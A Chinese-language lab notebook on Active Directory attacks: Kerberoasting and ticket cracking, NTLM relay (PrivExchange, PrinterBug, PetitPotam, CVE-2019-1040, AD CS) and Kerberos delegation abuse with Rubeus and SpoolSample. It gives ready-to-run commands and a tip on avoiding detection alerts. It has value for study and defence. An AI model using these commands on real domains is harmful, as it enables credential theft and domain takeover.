一、SPN
SPN 基本概念:
- SPN 是服务主体名称,用于在域环境中唯一标识一个服务实例
- 格式通常为: 服务类型/主机名
- 比如: HTTP/webserver.domain.com
SPN 的重要性:
- 它是 Kerberos 认证的关键组成部分
- 当用户访问服务时,会通过 SPN 来获取该服务的 Kerberos ticket
- 服务账户的 SPN 信息存储在 Active Directory 中
SPN 扫描的目的:
- 发现域内注册的服务
- 识别潜在的服务账户
- 为后续的 Kerberoasting 攻击做准备
搭建环境
1
2
3
4
5
6
7
8
9
10
11
| powershell.exe
# 先导入AD模块
Import-Module ActiveDirectory
然后创建服务账户
New-ADUser -Name "SQLService" -SamAccountName "SQLService" -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) -Enabled $true
# 在域控制器上执行
# 为SQLService注册一个SPN
setspn -A MSSQLSvc/dc.test.local:1433 SQLService
# 验证是否注册成功
setspn -L SQLService
|
作为非域成员的利用方式:
1
2
3
4
5
| # 使用已获取的凭据
GetUserSPNs.py domain.com/compromised_user:password -dc-ip <DC_IP> -request
# 如果获得了hash,也可以通过hash进行认证
GetUserSPNs.py -hashes LM:NT domain.com/user -dc-ip <DC_IP> -request
|

这里是验证成功才会返回这个
错误会返回这个

具体利用步骤:
1
2
3
4
5
6
7
8
9
10
11
| # 步骤1: 枚举SPN
GetUserSPNs.py domain.com/user:password -dc-ip <DC_IP>
# 步骤2: 请求票据(-request参数)
GetUserSPNs.py domain.com/user:password -dc-ip <DC_IP> -request
# 步骤3: 保存票据到文件
GetUserSPNs.py domain.com/user:password -dc-ip <DC_IP> -request -output tickets.txt
# 步骤4: 使用hashcat破解票据
hashcat -m 13100 tickets.txt wordlist.txt
|

不同场景的利用策略:
- 已有域用户凭据:直接使用GetUserSPNs.py
- 只有NTLM hash:使用-hashes参数
- 有票据:可以使用-k参数进行基于票据的认证
注意事项:
- 扫描活动可能被检测
- 大量ticket请求可能触发告警
- 建议针对性扫描,避免大范围探测
实际案例:
1
2
3
4
5
6
7
8
| # 例如发现SQL服务的SPN
GetUserSPNs.py domain.com/user:pass -dc-ip 192.168.1.100
# 输出可能显示:
# MSSQLSvc/DBSERVER.domain.com:1433
# 获取该服务的票据
GetUserSPNs.py domain.com/user:pass -dc-ip 192.168.1.100 -request -target-service MSSQLSvc/DBSERVER.domai
/usr/share/doc/python3-impacket/examples/GetUserSPNs.py intelligence.htb/Ted.Graves:Mr.Teddy -dc-ip 10.10.10.248 -request -request-user SVC_INT$
|
二、域服务账号破解
https://github.com/nidem/kerberoast
跟上面介绍的方法差不多 区别在于场景
第一种方法 需要获得域成员的账号和密码才能用
第二种方法 需要获取域成员主机的权限 就能在这台主机上使用
1
| setspn -T PENTEST.com -Q */*
|
图方便我就在域控上直接运行了 如果域成员账户也有这个sqlserver的访问权限 那么也会出来的

1
2
| 从Mimikatz的RAM中提取获得的门票
kerberos::list /export
|


1
| tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
|

不让用了?下面这个也可以用转hashcat就行
1
2
| python /usr/share/john/kirbi2john.py ticket.kirbi > hash.txt
hashcat -m 13100 hash.txt word.txt
|
三、NTLM relay
(1) Privexchange
https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/
https://github.com/dirkjanm/privexchange/
https://github.com/ridter/exchange2domain
Exchange服务器 —-认证请求—-> 我们的中继服务器 —-修改后转发—-> 域控制器 (高权限) (修改认证内容) (LDAP服务)
实际上我们设置了HTLM中继认证 Exchange服务器的认证请求经过我们设置的中继认证 然后我们改点东西 让他修改我们的权限 让我们有DCSync权限
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| 必需条件:
● Exchange服务器存在且可访问
● 一个域用户账号(必须有邮箱)
○ 需要用户名和密码
○ 或者已经获得了某个域用户的权限
可选条件:
● 如果在域内机器上操作,可以利用当前登录用户的凭据
● 如果能获得中间人攻击位置,可以不需要域账号凭据
# 需要的工具
- ntlmrelayx.py (impacket工具包)
- privexchange.py (PrivExchange工具)
# 需要的信息
- Exchange服务器IP/主机名
- 域控制器IP
- 域名
- 有邮箱的域用户凭据
|
两种场景
1
2
3
| 直接使用已知的域用户凭据
用户必须有邮箱
从外部或内部都可以发起攻击
|
1
2
3
| 需要在域内网络中
需要能进行中间人攻击
利用其他用户的认证请求
|
1
2
3
4
5
6
7
8
9
10
11
| 1. 设置阶段
用户(带邮箱) -----> Exchange
"请帮我设置通知,发送到 http://攻击者IP"
2. Exchange工作阶段
Exchange ----需要认证----> 攻击者IP
"我是Exchange服务器,我要发送通知了"
3. 中间人操作
Exchange认证 ----中继----> 域控制器LDAP
"我们拿着Exchange的认证去域控那边修改权限"
|
设置NTLM中继:
在impacket里面存有这个包
1
2
| ntlmrelayx.py -t ldap://dc-ip --escalate-user 攻击者用户
ntlmrelayx.py -t ldap://192.168.0.111 --escalate-user test1
|
- 这步是设置"中间人"
- 准备接收Exchange的认证并转发到DC
触发Exchange认证:
https://github.com/dirkjanm/privexchange/
1
2
| privexchange.py -ah 攻击者IP exchange服务器 -u 域用户 -d 域名
privexchange.py -ah 192.168.0.110 exchange01.test.local -u test1 -d test.local
|
- 利用PushSubscription功能
- 让Exchange服务器向我们的中继服务器发起认证
(2) Printerbug(HTLM认证)
协议设计问题,不是漏洞
https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py
环境搭建:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| 环境要求:
- Windows Server开启打印服务
- Spooler服务运行
- 域用户权限(不需要特殊权限) 任意用户都行
检查步骤:
# 查看打印服务是否运行
Get-Service Spooler
# 如果没开启,启动服务
Start-Service Spooler
Set-Service Spooler -StartupType Automatic
一般都是默认开启的
|
1
2
3
4
5
6
7
8
9
10
11
12
| # 基本用法
python printerbug.py 域名/用户名:密码@目标IP 攻击者IP
# 具体例子
python printerbug.py test.local/TestUser:[email protected] 192.168.0.103
python ntlmrelayx.py -t ldaps://192.168.0.110 --escalate-user TestUser
test.local -> 域名
TestUser -> 用户名
Password123 -> 密码
192.168.0.111 -> 目标IP(DC)
192.168.0.103 -> 攻击者IP
|
(3) PetitPotam(HTLM认证)
存在漏洞 CVE-2021-36942
大概范围在 Windows Server 2008到2019
https://github.com/topotam/PetitPotam
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| 环境要求:
- Windows Server
- MS-EFSRPC服务可用
- 域用户权限(不需要特殊权限)
检查步骤:
# 检查RPC服务和EFS服务是否运行
Get-Service RpcSs
Get-Service EFS
攻击机需要:
- impacket工具包
- ntlmrelayx.py
- 能访问目标的网络环境
目标机器:
- LDAP服务开启(DC默认开启)
- 证书服务(如果要中继到AD CS)
|
1
2
3
4
5
6
7
8
| 命令:
# 启动中继
python ntlmrelayx.py -t ldap://DC-IP --escalate-user 用户名 --no-smb-server
python ntlmrelayx.py -t ldap://192.168.0.110 --escalate-user TestUser --no-smb-server
# 触发认证
python PetitPotam.py -d domain -u user -p pass 攻击机IP DC-IP
python PetitPotam.py -d test.local -u TestUser -p Password123! 192.168.0.104 192.168.0.110
|
(4) Relay LDAP(HTLM中继)
https://www.freebuf.com/articles/network/368583.html
Relay LDAP(NTLM中继)主要利用CVE-2019-1040漏洞绕过LDAP签名
第二个和第三个用于发起认证 这个利用漏洞来创建中继
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| - 绕过LDAP签名
- 允许中继到LDAP/LDAPS
- 即使启用了签名保护也可以
漏洞影响版本
Windwos 7 SP 1 至 Windows 10 1903;
Windows Server 2008 至 Windows Server 2019
# 启动中继器
python ntlmrelayx.py -t ldap://DC-IP --escalate-user 目标用户 --remove-mic
# 或者完整参数 带漏洞的
python ntlmrelayx.py -t ldap://DC-IP --escalate-user 目标用户 --remove-mic --no-smb-server --no-http-server
--remove-mic:利用CVE-2019-1040绕过签名
--escalate-user:指定要提权的用户
-t ldap://DC-IP:指定目标DC
|
(5) Relay AD CS/PKI(HTLM中继)
https://3nd.xyz/post/0-da-petitpotam-ad-cs-relay-attack/
需要目标 配置Active Directory证书服务
访问地址:
环境搭建失败 记录一下方法吧
1
2
3
4
5
6
7
8
9
10
11
| # 基本语法
python ntlmrelayx.py -t http://CA-SERVER/certsrv/certfnsh.asp --adcs
# 更多参数
python ntlmrelayx.py -t http://CA-SERVER/certsrv/certfnsh.asp --adcs --template VulnTemplate
python ntlmrelayx.py -t http://172.16.79.8/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
-t http://CA-SERVER:证书服务器Web地址
--adcs:指定这是ADCS攻击
--template:指定证书模板(可选)
|
1
2
3
| # https://github.com/topotam/PetitPotam
PetitPotam.exe 172.16.79.1 172.16.79.2
|
Darwin 上运行的 Ntlmrelay 将生成 CSR(Certificate Signing Request, 证书签名请求)并尝试滥用存在漏洞的 PKI 模板来生成证书:
如果成功ntlmrelayx 将会接收到:
[+] Base64 certificate of user 2012DC$: MI… (一大串Base64编码的证书数据)
接下来是利用获得的东西
1
| Rubeus.exe asktgt /outfile:kirbi /user:2012dc$ /ptt /certificate:MIIRXQIBAzCCEScGCSqGSIb3DQEHAaCCERgEghEUMI...
|
可以拿到TGT 然后利用DCSync 获取 DA NTLM Hash就行了
自动化工具
RelayX 将几个比较好用的relay集成到了一起,提高了测试效率:
1
| python relayx.py live.local/002:'LIVE@2021'@172.16.79.2 -r 172.16.79.1 -dc-ip 172.16.79.8 -m pki -t efs --template=DomainController
|
ADCSPwn实际上是将之前的攻击自动化
https://github.com/bats3c/ADCSPwn/releases/tag/ADCSPwn
ADCSPwn 由 C# 编写,编译后方便通过 execute-assembly 内存加载运行,通过 PetitPotam NTLM Relay 到 AD CS 申请机器账户证书。此外,ADCSPwn 需要被触发进行身份认证的远程机器上开启 WebClient 服务(默认未安装,手动开启,可以参考 How to install/enable the WebClient (WebDAV) Service on Windows Server 2012 to open/edit SharePoint files )
ADCSPwn 在申请CA证书时采用了轮询的方式遍历所有证书模板尝试申请,普通域成员机器使用证书模版 Machine,DC 使用证书模版 DomainController,ADCSPwn 判断证书模版是否可用时匹配响应包中的“Certificate Request Denied”,而在简体中文换进下应该是“证书申请被拒绝”,可以修改 ADCSPwn/RelayServer.cs 382 行 if (responseFromServer.Contains(“Certificate Request Denied”)) 中的 “Certificate Request Denied” 为 “locDenied”(证书申请被拒绝响应页面中的 HTML 元素 ID )来适配多语言环境。此问题已在 https://github.com/bats3c/ADCSPwn/pull/5 中更新解决。
1
| ADCSPwn.exe --adcs s2008.live.local --remote 2012dc.live.local --port 9001
|
获取2012dc$ 机器账号证书后通过 Rubeus 进行后续攻击即可
内网445端口
https://github.com/praetorian-inc/PortBender/releases/tag/v1.0.0
例如,我们可能希望在重定向器模式下执行 PortBender,以便从受感染的 Windows 系统执行 SMB 中继攻击。为了实现这一点,我们可以指示 PortBender 将所有到 445/TCP 的流量重定向到运行攻击者 SMB 服务的备用端口 8445/TCP。在此示例中,我们运行命令“PortBender redirect 445 8445”来实现此目的
1
2
3
4
| #cs直接运行就行
PortBender redirect 445 8445
因为他那只有cna插件 没有exe 当然自己打包或许也可以
|
(6)扩展
防病毒发起认证
1
2
| cd "\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0"
.\MpCmdRun.exe -Scan -ScanType 3 -File \\ip\file.exe
|
四、Kerberos委派攻击
参考:https://xz.aliyun.com/t/7217
前置知识
域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动
委派主要分为非约束委派(Unconstrained delegation)和约束委派(Constrained delegation)两个方式,还有一种是基于资源的约束委派(Resource Based Constrained Delegation)不过不是本文的重点,下面我们来分别介绍一下非约束委派和约束委派这两种方法的利用
发现域中委派的用户和计算机
原理说明
- 当服务账号或者主机被设置为非约束性委派时,其
userAccountControl属性会包含TRUSTED_FOR_DELEGATION - 当服务账号或者主机被设置为约束性委派时,其
userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION,且msDS-AllowedToDelegateTo属性会包含被约束的服务
发现域中委派的用户或计算机一般使用的手段是通过LDAP协议(全称:LightweightDirectory Access Protocol)然后通过userAccountControl属性筛选出符合的用户或计算机,我们可以通过ADSI(全称:ActiveDirectory Service Interfaces Editor)来编辑和修改LDAP,adsiedit.msc可以打开ADSI编辑器,打开之后我们找到一个设置了非约束委派的用户,可以看到userAccountControl属性包含了TRUSTED_FOR_DELEGATION
搭建环境(忽略)
这里可以忽略 这里主要是配置两种账号 非约束委派账号 需要一个域内主机 在域内主机上配置
如果有域内一台主机 配置完非约束委派账号之后按照下面的步骤配置IIS 用于测试 我这里没有测试 直接用机器账户也可以
1
2
3
4
5
6
7
8
9
10
11
12
| 第一步:确认主机名
- 在目标机器上运行 hostname 确认主机名
- 确保主机名与SPN中设置的相同
第二步:安装IIS
- 在目标机器上安装IIS服务
Install-WindowsFeature -Name Web-Server -IncludeManagementTools
第三步:配置服务账号
- 打开IIS管理器 (inetmgr)
- 找到DefaultAppPool或新建应用程序池
- 配置身份为域账号(test\svc_iis)
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
| 第一个iis服务账号
# CN是Common Name的缩写,指在Active Directory中的位置
# 比如 CN=Users,DC=domain,DC=com 表示在域的Users容器下
New-ADUser -Name "svc_iis" `
-SamAccountName "svc_iis" `
-UserPrincipalName "[email protected]" `
-Path "CN=Users,DC=test,DC=local" `
-AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) `
-Enabled $true `
-PasswordNeverExpires $true `
-ServicePrincipalNames "HTTP/webserver.test.local","HTTP/webserver" `
-Description "IIS Service Account"
# 给账号添加必要的组成员身份
Add-ADGroupMember -Identity "Server Operators" -Members "svc_iis"
# 设置SPN
setspn -A HTTP/webserver.domain.com svc_iis
setspn -A HTTP/webserver svc_iis
# 验证用户创建
Get-ADUser svc_iis -Properties *
# 验证SPN设置
setspn -L svc_iis
========================================================================================
第二个SharePoint服务账号
New-ADUser `
-Name "svc_sharepoint" `
-SamAccountName "svc_sharepoint" `
-UserPrincipalName "[email protected]" `
-Path "CN=Users,DC=test,DC=local" `
-AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) `
-Enabled $true `
-PasswordNeverExpires $true `
-ServicePrincipalNames "HTTP/sharepoint.test.local" `
-Description "SharePoint Service Account"
# 给账号添加必要的组成员身份
Add-ADGroupMember -Identity "Server Operators" -Members "svc_sharepoint"
# 设置SPN
setspn -A HTTP/webserver.domain.com svc_sharepoint
setspn -A HTTP/webserver svc_sharepoint
# 验证用户创建
Get-ADUser svc_sharepoint -Properties *
# 验证SPN设置
setspn -L svc_sharepoint
======================================================================================
IIS
# 查看当前服务账号
Get-ADUser svc_iis -Properties *
# 设置非约束委派
Set-ADUser -Identity "svc_iis" -TrustedForDelegation $true
# 验证设置
Get-ADUser svc_iis -Properties userAccountControl
# userAccountControl属性中应该包含TRUSTED_FOR_DELEGATION(524288)
======================================================================================
sharepoint
# 假设我们允许它委派给CIFS服务(作为示例)
Set-ADAccountControl -Identity "svc_sharepoint" -TrustedToAuthForDelegation $true
Set-ADUser -Identity "svc_sharepoint" -Add @{'msDS-AllowedToDelegateTo'=@('CIFS/test.local')}
# 验证设置
Get-ADUser svc_sharepoint -Properties "msDS-AllowedToDelegateTo"
======================================================================================
# 查找所有设置了非约束委派的账号
Get-ADObject -Filter {userAccountControl -band 524288} -Properties userAccountControl | select name,objectClass,userAccountControl
Get-ADObject -Filter {userAccountControl -band 524288} -Properties userAccountControl,samaccountname,serviceprincipalname | select samaccountname,serviceprincipalname
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation | select Name,TrustedForDelegation
# 查找所有设置了约束委派的账号
Get-ADObject -Filter {msDS-AllowedToDelegateTo -like "*"} -Properties msDS-AllowedToDelegateTo
|
非约束委派的查找
ldapsearch
kali上自带,适合在域外查询
这个参数过多就不一一列举了,需要查阅的ldapsearch -h即可
查找域中配置非约束委派的用户:
1
| ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
|
普通域成员账号就能查到

查找域中配置非约束委派的主机:
1
| ldapsearch -x -H ldap://192.168.0.110:389 -D "CN=TestUser,CN=Users,DC=test,DC=local" -w "Password123\!" -b "DC=test,DC=local" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
|

图方便值可以直接将805306368改成805306369
注:更多LDAP的过滤语法请参考微软的手册:地址
ADFind
使用参数
1
| AdFind [switches] [-b basedn] [-f filter] [attr list]
|
参数说明:
- -b:指定要查询的根节点
- -f:LDAP过滤条件
- attr list:需要显示的属性
https://github.com/mai-lang-chai/AD-Penetration-Testing-Tools
1.查找域中配置非约束委派的用户(在域内的方法):
1
| AdFind.exe -b "DC=test,DC=local" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
|
图省事我在域控上执行了

2.查找域中配置非约束委派的用户(在域外的方法):
1
| AdFind.exe -h 192.168.0.110 -u test.local\TestUser -up "Password123!" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
|
我参考的这个博客的博主并没有测试这个 在刚刚那个github上是有具体方法的

3.查找域中配置非约束委派的主机:
1
2
3
4
| #域内
AdFind.exe -b "DC=test,DC=local" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
#域外
AdFind.exe -h 192.168.0.110 -u test.local\TestUser -up "Password123!" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
|

PowerView
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
查找域中配置约束委派用户
1
2
| Import-Module .\PowerView.ps1
Get-DomainUser –TrustedToAuth -domain test.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
|

我没有找到账密验证的参数
https://blog.csdn.net/qq_41874930/article/details/109616189
https://www.cnblogs.com/-zhong/p/12374568.html
https://www.freebuf.com/sectool/173366.html
这三个里面有模块介绍
查找域中配置约束委派的主机:
1
2
3
| Get-DomainComputer -TrustedToAuth -Domain test.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize
Get-DomainComputer -Unconstrained
Get-DomainComputer -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
|
大概信息如下
1
2
3
4
5
6
7
8
| distinguishedname : CN=WINDOWSSERVERAD,OU=Domain Controllers,DC=test,DC=local
# 这是域控制器的路径
useraccountcontrol : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
# 这表明这台机器配置了非约束委派权限
dnshostname : WindowsServerAD.test.local
# 这是机器的DNS名称
|

非约束委派的利用
概述
非约束委派:当user访问service1时,如果service1的服务账号开启了unconstrained delegation(非约束委派),则当user访问service1时会将user的TGT发送给service1并保存在内存中以备下次重用,然后service1 就可以利用这张TGT以user的身份去访问域内的任何服务(任何服务是指user能访问的服务)了
非约束委派的请求过程(图来自微软手册):

上图的Kerberos请求描述分为如下步骤:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| 1. 用户向`KDC`发送`KRB_AS_REQ`消息请求可转发的`TGT1`。
2. KDC在`KRB_AS_REP`消息中返回`TGT1`。
3. 用户根据步骤2中的TGT1请求转发TGT2。
4. KDC在KRB_TGS_REP消息中为user返回TGT2。
5. 用户使用步骤2中返回的TGT1向KDC请求Service1的ST(Service Ticket)
6. TGS在KRB_TGS_REP消息中返回给用户service1的ST。
7. 用户发送KRB_AP_REQ消息请求Service1,KRB_AP_REQ消息中包含了TGT1和Service1的ST、TGT2、TGT2的SessionKey
8. service1使用用户发送过来的的TGT2,并以KRB_TGS_REQ的形式将其发送到KDC,以用户的名义请求service2的ST。
9. KDC在KRB_TGS_REP消息中返回service2到service1的ST,以及service1可以使用的sessionkey。ST将客户端标识为用户,而不是service1。
10. service1通过KRB_AP_REQ以用户的名义向service2发出请求。
11. service2响应service1的请求。
12. 有了这个响应,service1就可以在步骤7中响应用户的请求。
13. 这里的TGT转发委派机制没有限制service1使用的TGT2是来自哪个服务,所以service1可以以用户的名义向KDC索要任何其他服务的票证。
14. KDC返回步骤13中请求的ST
15-16. service1以用户的名义来请求其它服务
|
注:TGT1(forwardable TGT)用于访问Service1,TGT2(forwarded TGT)用于访问Service2
操作环境:
- 域:
test.local - 域控:windows server 2022,主机名:
WindowsServerAD,IP:192.168.0.110,用户:administrator - 域内主机:windows 10,主机名:
win10,IP:192.168.0.104,用户:jerry
上面提到了一般非约束委派为服务账号或者主机账号 服务账户需要搭建环境然后创建账号有点麻烦 这里直接用主机账号比较方便
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| 1. 在域控上配置(需要域管理员权限):
PowerShell命令:
# 配置WIN10机器账号为非约束委派
Get-ADComputer win10 | Set-ADComputer -TrustedForDelegation $true
2. 验证配置:
# 检查机器的委派设置
Get-ADComputer WIN10 -Properties userAccountControl
# 或使用PowerView查找所有非约束委派的机器
Get-DomainComputer -Unconstrained
# 或使用LDAP查询
Get-DomainObject -LDAPFilter "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))"
|

配置好了 开始准备让域控管理员触发
PS:我现在已经升级为了这台win10的管理员 也就是本地我可以搭建很多东西 比如IIS、MYSQL等等 然后目前使用的账号也为非约束委派权限 此时随意想搭建什么服务都可以 IIS、MYSQL 然后再等域控管理员访问也可以
win10配置WINRM服务
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| # 在WIN10上执行以下命令:
# 1. 快速配置WinRM(以管理员权限运行)
winrm quickconfig -q
# 2. 允许HTTP传输
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
# 3. 配置允许的验证方式
winrm set winrm/config/service/auth @{Basic="true"}
winrm set winrm/config/service/auth @{Kerberos="true"}
# 4. 配置防火墙规则(如果还没开启)
Enable-PSRemoting -Force
# 5. 确认WinRM服务已启动
Get-Service WinRM
# 6. 检查WinRM监听器
winrm enumerate listener
|
1
2
3
4
5
6
7
| # 在域控上执行
# 方法1:Enter-PSSession
Enter-PSSession -ComputerName WIN10
# 方法2:WinRM
winrm quickconfig # 确保WinRM服务开启
Test-WSMan -ComputerName WIN10 # 测试连接
|
这个时候域管理员的TGT已经缓存在win10了,我们用mimikatz即可dump出来
1
2
| privilege::debug
sekurlsa::tickets /export
|
然后通过ptt将TGT注入到当前会话中
分割线隔开的方法我这里运行不了 一直出问题 还不知道出在哪 报错系统无法联系域控制器来为身份验证请求提供服务。请稍后再试。 所以mimikatz我应该是无法使用了
Rubeus
这个我使用没问题
项目地址:https://github.com/GhostPack/Rubeus/releases/tag/1.6.4
需要自行编译 电脑上要安装vs 点击sln文件 进去之后生成解决方案就行了

我这里编译好了 下面的命令是比较流畅的步骤
1
2
3
4
| # 将获得的票据导出到ticket.txt
Rubeus.exe monitor /interval:1 /targetuser:administrator /nowrap >> ticket.txt
# 如果能获取到 txt文本里面则会有base64编码的内容 直接导入票据
Rubeus.exe ptt /ticket:[base64编码]
|
下面解释一下为什么不用其他命令 可以参考 不用测试
1
2
3
4
| # 说是直接导入票据 但是并没有用
Rubeus.exe monitor /interval:1 /targetuser:administrator /ptt
Rubeus.exe monitor /interval:1 /targetuser:administrator
# 使用过程中 上面的两个命令没啥区别 /ptt貌似不起作用
|

实际上已经拿到base64编码的票据了 但是复制很上头 要删空格和回车 太麻烦了 所以选择导入文件

非常好复制 这就是为什么上面成功的命令要导入文件然后再复制
1
2
3
4
5
6
| # 下一步就是将base64写入admin.kirbi
# 使用mimikatz导入
mimikatz.exe
kerberos::purge # 清除现有票据
kerberos::ptt admin.kirbi # 导入新票据
# 很可惜这里我允许导入的操作直接报错 无法导入
|
所以刚刚开始给的成功的流程应该是最优解了 也可能是我的windows server 2022版本可能过高 也可能是mimikatz版本太低 无论咋样 至少有成功的方法就行

1
| Enter-PSSession -ComputerName WindowsServerAD
|

还是用WinRM服务 反连了域控
非约束委派+Spooler打印机服务
这个我看完了 有点像HTLM relay但不完全是 至少都利用了spooler打印机发起认证
如果只是单纯的非约束委派话需要管理员主动连接,所以在实战环境利用比较鸡肋。
利用非约束委派+Spooler打印机服务可以强制指定的主机进行连接,这个利用场景是tifkin_,enigma0x3和harmj0y在DerbyCon 2018提出的
演讲PPT:地址
利用原理:利用Windows打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)方法强制任何运行了Spooler服务的计算机以通过Kerberos或NTLM对攻击者选择的目标进行身份验证。
请求过程如下:

图来源于:http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/
注:Print Spooler服务默认是自动运行的

这个实现了前提是:需要获取一台主机账户开启了非约束委派域内机器的权限
我的环境还是之前那个没有变
tifkin_在他的github上开源了POC:https://github.com/leechristensen/SpoolSample
但是我试了几次无法编译 貌似是powershell有一点小问题

暂时无法解决 但我找到了一个编译好的项目
https://github.com/jtmpu/PrecompiledBinaries
在虚拟机里使用
1
2
3
4
5
| # 指定域控和本机就行 无论什么只要dns解析到就行
SpoolSample.exe WindowsServerAD WIN10
SpoolSample.exe WindowsServerAD.test.local WIN10.test.local
# 开始监听票据 上面是监听用户 这里要监听域控
Rubeus.exe monitor /interval:1 /filteruser:WindowsServerAD$
|

成功拿到了 这里我就不重新连域控了 因为和上面的一模一样 并且mimikatz我也无法使用 就这样了
约束委派的利用
概述
由于非约束委派的不安全性,微软在windows server 2003中引入了约束委派,对Kerberos协议进行了拓展,引入了S4U,其中S4U支持两个子协议:Service for User to Self (S4U2Self)和 Service for User to Proxy (S4U2proxy),这两个扩展都允许服务代表用户从KDC请求票证。S4U2self可以代表自身请求针对其自身的Kerberos服务票据(ST);S4U2proxy可以以用户的名义请求其它服务的ST,约束委派就是限制了S4U2proxy扩展的范围。
S4U2Self和S4U2proxy的请求过程(图来自微软手册):
注:其中步骤1-4代表S4U2Self请求的过程,步骤5-10代表S4U2proxy的请求过程

上述请求的文字描述:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| 1. 用户向service1发出请求。用户已通过身份验证,但service1没有用户的授权数据。通常,这是由于身份验证是通过Kerberos以外的其他方式验证的。
2. 通过S4U2self扩展以用户的名义向KDC请求用于访问service1的ST1。
3. KDC返回给Service1一个用于用户验证Service1的ST1,该ST1可能包含用户的授权数据。
4. service1可以使用ST中的授权数据来满足用户的请求,然后响应用户。
注:尽管S4U2self向service1提供有关用户的信息,但S4U2self不允许service1代表用户发出其他服务的请求,这时候就轮到S4U2proxy发挥作用了
5. 用户向service1发出请求,service1需要以用户身份访问service2上的资源。
6. service1以用户的名义向KDC请求用户访问service2的ST2
7. 如果请求中包含PAC,则KDC通过检查PAC的签名数据来验证PAC ,如果PAC有效或不存在,则KDC返回ST2给service1,但存储在ST2的cname和crealm字段中的客户端身份是用户的身份,而不是service1的身份。
8. service1使用ST2以用户的名义向service2发送请求,并判定用户已由KDC进行身份验证。
9. service2响应步骤8的请求。
10. service1响应用户对步骤5中的请求。
|
操作
操作环境:
- 域:
test.local - 域控:windows server 2022,主机名:
WindowsServerAD,IP:192.168.0.110,用户:administrator - 域内主机:windows 10,主机名:
win10,IP:192.168.0.104,用户:jerry
创建服务账号:
这个其实在上面已经写了 但是利用有点麻烦就忽略了 这里重新引用一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
| 第二个SharePoint服务账号
New-ADUser `
-Name "svc_sharepoint" `
-SamAccountName "svc_sharepoint" `
-UserPrincipalName "[email protected]" `
-Path "CN=Users,DC=test,DC=local" `
-AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) `
-Enabled $true `
-PasswordNeverExpires $true `
-ServicePrincipalNames "HTTP/sharepoint.test.local" `
-Description "SharePoint Service Account"
# 给账号添加必要的组成员身份
Add-ADGroupMember -Identity "Server Operators" -Members "svc_sharepoint"
# 设置SPN
setspn -A HTTP/webserver.domain.com svc_sharepoint
setspn -A HTTP/webserver svc_sharepoint
# 验证用户创建
Get-ADUser svc_sharepoint -Properties *
# 验证SPN设置
setspn -L svc_sharepoint
# 假设我们允许它委派给CIFS服务(作为示例)
Set-ADAccountControl -Identity "svc_sharepoint" -TrustedToAuthForDelegation $true
Set-ADUser -Identity "svc_sharepoint" -Add @{
'msDS-AllowedToDelegateTo'=@(
'CIFS/WindowsServerAD.test.local',
'CIFS/WindowsServerAD'
)
}
# 验证设置
Get-ADUser svc_sharepoint -Properties "msDS-AllowedToDelegateTo"
# 查找所有设置了约束委派的账号
Get-ADObject -Filter {msDS-AllowedToDelegateTo -like "*"} -Properties msDS-AllowedToDelegateTo
|
账号 svc_sharepoint 密码 Password123!
概述那里我们讲了在约束委派的情况下,服务用户只能获取某个用户(或主机)的服务的ST,所以只能模拟用户访问特定的服务,是无法获取用户的TGT,如果我们能获取到开启了约束委派的服务用户的明文密码或者NTLM Hash,我们就可以伪造S4U请求,进而伪装成服务用户以任意账户的权限申请访问某服务的ST
